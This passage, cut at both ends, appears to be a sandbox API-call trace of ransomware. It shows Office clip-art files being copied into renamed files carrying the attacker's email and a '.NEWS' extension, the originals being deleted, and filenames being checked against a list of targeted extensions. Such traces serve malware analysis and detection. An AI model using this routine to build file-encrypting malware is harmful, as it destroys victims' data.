dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.061] GetLastError () returned 0x0 [0093.061] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0093.063] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0093.064] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.064] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.064] SetEndOfFile (hFile=0x390) returned 1 [0093.065] CloseHandle (hObject=0x390) returned 1 [0093.065] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.065] SetEndOfFile (hFile=0x354) returned 1 [0093.066] CloseHandle (hObject=0x354) returned 1 [0093.066] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.066] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0093.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.066] lstrlenW (lpString=".doc") returned 4 [0093.066] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString=".docx") returned 5 [0093.067] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0093.067] lstrlenW (lpString=".pdf") returned 4 [0093.067] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString=".xls") returned 4 [0093.067] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString=".xlsx") returned 5 [0093.067] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0093.067] lstrlenW (lpString=".ppt") returned 4 [0093.067] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.067] lstrlenW (lpString=".zip") returned 4 [0093.067] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString=".rar") returned 4 [0093.067] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString=".bz2") returned 4 [0093.067] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString=".7z") returned 3 [0093.067] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.067] lstrlenW (lpString=".dbf") returned 4 [0093.067] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.067] lstrlenW (lpString=".1cd") returned 4 [0093.067] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.067] lstrlenW (lpString=".jpg") returned 4 [0093.067] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.067] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.067] lstrlenW (lpString=".doc") returned 4 [0093.067] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.067] lstrlenW (lpString=".docx") returned 5 [0093.067] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0093.067] lstrlenW (lpString=".pdf") returned 4 [0093.067] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.068] lstrlenW (lpString=".xls") returned 4 [0093.068] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.068] lstrlenW (lpString=".xlsx") returned 5 [0093.068] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0093.068] lstrlenW (lpString=".ppt") returned 4 [0093.068] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.068] lstrlenW (lpString=".zip") returned 4 [0093.068] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.068] lstrlenW (lpString=".rar") returned 4 [0093.068] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.068] lstrlenW (lpString=".bz2") returned 4 [0093.068] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.068] lstrlenW (lpString=".7z") returned 3 [0093.068] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.068] lstrlenW (lpString=".dbf") returned 4 [0093.068] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.068] lstrlenW (lpString=".1cd") returned 4 [0093.068] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0093.068] lstrlenW (lpString=".jpg") returned 4 [0093.068] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.068] lstrcmpiW (lpString1=".BMP", lpString2=".NEWS") returned -1 [0093.068] lstrlenW (lpString="J0101860.BMP") returned 12 [0093.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.069] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=32184) returned 1 [0093.069] CloseHandle (hObject=0x354) returned 1 [0093.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 0x220 [0093.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.071] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.071] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.072] GetLastError () returned 0x0 [0093.072] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0093.391] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0093.393] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.393] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.393] SetEndOfFile (hFile=0x390) returned 1 [0093.393] CloseHandle (hObject=0x390) returned 1 [0093.393] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.393] SetEndOfFile (hFile=0x354) returned 1 [0093.394] CloseHandle (hObject=0x354) returned 1 [0093.394] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101860.bmp")) returned 1 [0093.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.395] lstrlenW (lpString=".doc") returned 4 [0093.395] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.395] lstrlenW (lpString=".docx") returned 5 [0093.395] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0093.395] lstrlenW (lpString=".pdf") returned 4 [0093.395] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.395] lstrlenW (lpString=".xls") returned 4 [0093.395] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.395] lstrlenW (lpString=".xlsx") returned 5 [0093.395] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0093.395] lstrlenW (lpString=".ppt") returned 4 [0093.395] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.395] lstrlenW (lpString=".zip") returned 4 [0093.395] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.395] lstrlenW (lpString=".rar") returned 4 [0093.395] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.395] lstrlenW (lpString=".bz2") returned 4 [0093.395] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.395] lstrlenW (lpString=".7z") returned 3 [0093.395] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.395] lstrlenW (lpString=".dbf") returned 4 [0093.395] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.396] lstrlenW (lpString=".1cd") returned 4 [0093.396] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.396] lstrlenW (lpString=".jpg") returned 4 [0093.396] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.396] lstrlenW (lpString=".doc") returned 4 [0093.396] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0093.396] lstrlenW (lpString=".docx") returned 5 [0093.396] lstrcmpiW (lpString1=".docx", lpString2="0.BMP") returned -1 [0093.396] lstrlenW (lpString=".pdf") returned 4 [0093.396] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0093.396] lstrlenW (lpString=".xls") returned 4 [0093.396] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0093.396] lstrlenW (lpString=".xlsx") returned 5 [0093.396] lstrcmpiW (lpString1=".xlsx", lpString2="0.BMP") returned -1 [0093.396] lstrlenW (lpString=".ppt") returned 4 [0093.396] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0093.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.396] lstrlenW (lpString=".zip") returned 4 [0093.396] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0093.396] lstrlenW (lpString=".rar") returned 4 [0093.396] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0093.396] lstrlenW (lpString=".bz2") returned 4 [0093.396] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0093.396] lstrlenW (lpString=".7z") returned 3 [0093.396] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0093.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.396] lstrlenW (lpString=".dbf") returned 4 [0093.396] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0093.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.396] lstrlenW (lpString=".1cd") returned 4 [0093.396] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0093.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101860.BMP") returned 68 [0093.396] lstrlenW (lpString=".jpg") returned 4 [0093.396] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0093.397] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.397] lstrlenW (lpString="J0102594.WMF") returned 12 [0093.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.397] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=27000) returned 1 [0093.397] CloseHandle (hObject=0x354) returned 1 [0093.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0093.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.398] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.398] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.398] GetLastError () returned 0x0 [0093.398] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x6978, lpOverlapped=0x0) returned 1 [0093.400] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x6980, lpOverlapped=0x0) returned 1 [0093.402] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.402] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.402] SetEndOfFile (hFile=0x390) returned 1 [0093.402] CloseHandle (hObject=0x390) returned 1 [0093.402] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.402] SetEndOfFile (hFile=0x354) returned 1 [0093.403] CloseHandle (hObject=0x354) returned 1 [0093.403] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.403] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.404] lstrlenW (lpString=".doc") returned 4 [0093.404] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.404] lstrlenW (lpString=".docx") returned 5 [0093.404] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.404] lstrlenW (lpString=".pdf") returned 4 [0093.404] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.404] lstrlenW (lpString=".xls") returned 4 [0093.404] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.404] lstrlenW (lpString=".xlsx") returned 5 [0093.404] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.404] lstrlenW (lpString=".ppt") returned 4 [0093.404] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.404] lstrlenW (lpString=".zip") returned 4 [0093.404] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.404] lstrlenW (lpString=".rar") returned 4 [0093.404] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.404] lstrlenW (lpString=".bz2") returned 4 [0093.404] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.404] lstrlenW (lpString=".7z") returned 3 [0093.404] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.404] lstrlenW (lpString=".dbf") returned 4 [0093.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.404] lstrlenW (lpString=".1cd") returned 4 [0093.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.404] lstrlenW (lpString=".jpg") returned 4 [0093.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.405] lstrlenW (lpString=".doc") returned 4 [0093.405] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.405] lstrlenW (lpString=".docx") returned 5 [0093.405] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.405] lstrlenW (lpString=".pdf") returned 4 [0093.405] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.405] lstrlenW (lpString=".xls") returned 4 [0093.405] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.405] lstrlenW (lpString=".xlsx") returned 5 [0093.405] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.405] lstrlenW (lpString=".ppt") returned 4 [0093.405] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.405] lstrlenW (lpString=".zip") returned 4 [0093.405] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.405] lstrlenW (lpString=".rar") returned 4 [0093.405] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.405] lstrlenW (lpString=".bz2") returned 4 [0093.405] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.405] lstrlenW (lpString=".7z") returned 3 [0093.405] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.405] lstrlenW (lpString=".dbf") returned 4 [0093.405] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.405] lstrlenW (lpString=".1cd") returned 4 [0093.405] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.405] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0093.405] lstrlenW (lpString=".jpg") returned 4 [0093.405] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.406] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.406] lstrlenW (lpString="J0102762.WMF") returned 12 [0093.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.406] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=11216) returned 1 [0093.406] CloseHandle (hObject=0x354) returned 1 [0093.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf")) returned 0x220 [0093.406] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.406] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.407] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.407] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102762.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102762.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.409] GetLastError () returned 0x0 [0093.409] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2bd0, lpOverlapped=0x0) returned 1 [0093.411] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2be0, 